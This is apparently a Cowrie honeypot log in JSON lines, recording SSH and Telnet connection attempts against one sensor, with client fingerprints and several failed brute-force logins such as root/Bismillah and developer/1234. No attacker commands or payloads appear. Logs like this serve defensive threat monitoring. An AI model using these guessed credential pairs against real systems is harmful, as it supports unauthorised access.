{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:57.445001Z","src_ip":"62.133.63.178","session":"3a786d2efeaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:57.572123Z","src_ip":"62.133.63.178","session":"3a786d2efeaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"motherlode1","message":"login attempt [root/motherlode1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:57.950004Z","src_ip":"62.133.63.178","session":"3a786d2efeaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:03:59.082781Z","src_ip":"62.133.63.178","session":"3a786d2efeaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60086,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed878f6c11f4","protocol":"telnet","message":"New connection: 69.4.83.194:60086 (159.203.135.109:23) [session: ed878f6c11f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:06.999577Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":33062,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc49785bcc4a","protocol":"ssh","message":"New connection: 167.172.174.185:33062 (159.203.135.109:22) [session: dc49785bcc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:22.129873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:22.134887Z","src_ip":"167.172.174.185","session":"dc49785bcc4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:22.219923Z","src_ip":"167.172.174.185","session":"dc49785bcc4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aaA","message":"login attempt [root/123456aaA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:22.606294Z","src_ip":"167.172.174.185","session":"dc49785bcc4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:23.706639Z","src_ip":"167.172.174.185","session":"dc49785bcc4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.221.127","src_port":52956,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee6bda0f905c","protocol":"ssh","message":"New connection: 143.198.221.127:52956 (159.203.135.109:22) [session: ee6bda0f905c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:26.221923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:26.227775Z","src_ip":"143.198.221.127","session":"ee6bda0f905c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:26.466738Z","src_ip":"143.198.221.127","session":"ee6bda0f905c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Bismillah","message":"login attempt [root/Bismillah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:27.479864Z","src_ip":"143.198.221.127","session":"ee6bda0f905c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:28.726215Z","src_ip":"143.198.221.127","session":"ee6bda0f905c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":50186,"dst_ip":"159.203.135.109","dst_port":22,"session":"465c8c71774b","protocol":"ssh","message":"New connection: 103.148.100.146:50186 (159.203.135.109:22) [session: 465c8c71774b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:33.466907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:33.471286Z","src_ip":"103.148.100.146","session":"465c8c71774b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:33.750400Z","src_ip":"103.148.100.146","session":"465c8c71774b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"1234","message":"login attempt [developer/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:34.888746Z","src_ip":"103.148.100.146","session":"465c8c71774b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:36.176112Z","src_ip":"103.148.100.146","session":"465c8c71774b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":40388,"dst_ip":"159.203.135.109","dst_port":22,"session":"53c4c41b799e","protocol":"ssh","message":"New connection: 43.242.203.160:40388 (159.203.135.109:22) [session: 53c4c41b799e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:38.581648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:38.651774Z","src_ip":"43.242.203.160","session":"53c4c41b799e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:38.864517Z","src_ip":"43.242.203.160","session":"53c4c41b799e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:39.857705Z","src_ip":"43.242.203.160","session":"53c4c41b799e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":52634,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc0319bf1c08","protocol":"ssh","message":"New connection: 125.21.53.232:52634 (159.203.135.109:22) [session: cc0319bf1c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:41.175532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:41.180299Z","src_ip":"125.21.53.232","session":"cc0319bf1c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:41.376450Z","src_ip":"125.21.53.232","session":"cc0319bf1c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.54910850524902,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:42.548574Z","src_ip":"69.4.83.194","session":"ed878f6c11f4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"developer","password":"1234","message":"login attempt [developer/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:42.743361Z","src_ip":"125.21.53.232","session":"cc0319bf1c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:43.938829Z","src_ip":"125.21.53.232","session":"cc0319bf1c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:43.964057Z","src_ip":"43.242.203.160","session":"53c4c41b799e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":48300,"dst_ip":"159.203.135.109","dst_port":22,"session":"889874ad62a6","protocol":"ssh","message":"New connection: 69.6.221.248:48300 (159.203.135.109:22) [session: 889874ad62a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:52.769501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:52.774363Z","src_ip":"69.6.221.248","session":"889874ad62a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:52.889379Z","src_ip":"69.6.221.248","session":"889874ad62a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mamad","password":"mamad@123","message":"login attempt [mamad/mamad@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:53.371509Z","src_ip":"69.6.221.248","session":"889874ad62a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:54.488190Z","src_ip":"69.6.221.248","session":"889874ad62a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":64737,"dst_ip":"159.203.135.109","dst_port":22,"session":"e575d293e172","protocol":"ssh","message":"New connection: 223.197.186.7:64737 (159.203.135.109:22) [session: e575d293e172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:56.346777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:56.351910Z","src_ip":"223.197.186.7","session":"e575d293e172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:56.576408Z","src_ip":"223.197.186.7","session":"e575d293e172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wireguard","password":"1234","message":"login attempt [wireguard/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:57.762337Z","src_ip":"223.197.186.7","session":"e575d293e172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:04:58.981161Z","src_ip":"223.197.186.7","session":"e575d293e172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":57002,"dst_ip":"10.17.0.5","dst_port":23,"session":"acdaaee21cdd","protocol":"telnet","message":"New connection: 178.128.93.180:57002 (10.17.0.5:23) [session: acdaaee21cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:10.845820Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":48212,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a516c16388c","protocol":"ssh","message":"New connection: 125.21.53.232:48212 (159.203.135.109:22) [session: 9a516c16388c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:25.376380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:25.382092Z","src_ip":"125.21.53.232","session":"9a516c16388c","protocol":"ssh"}
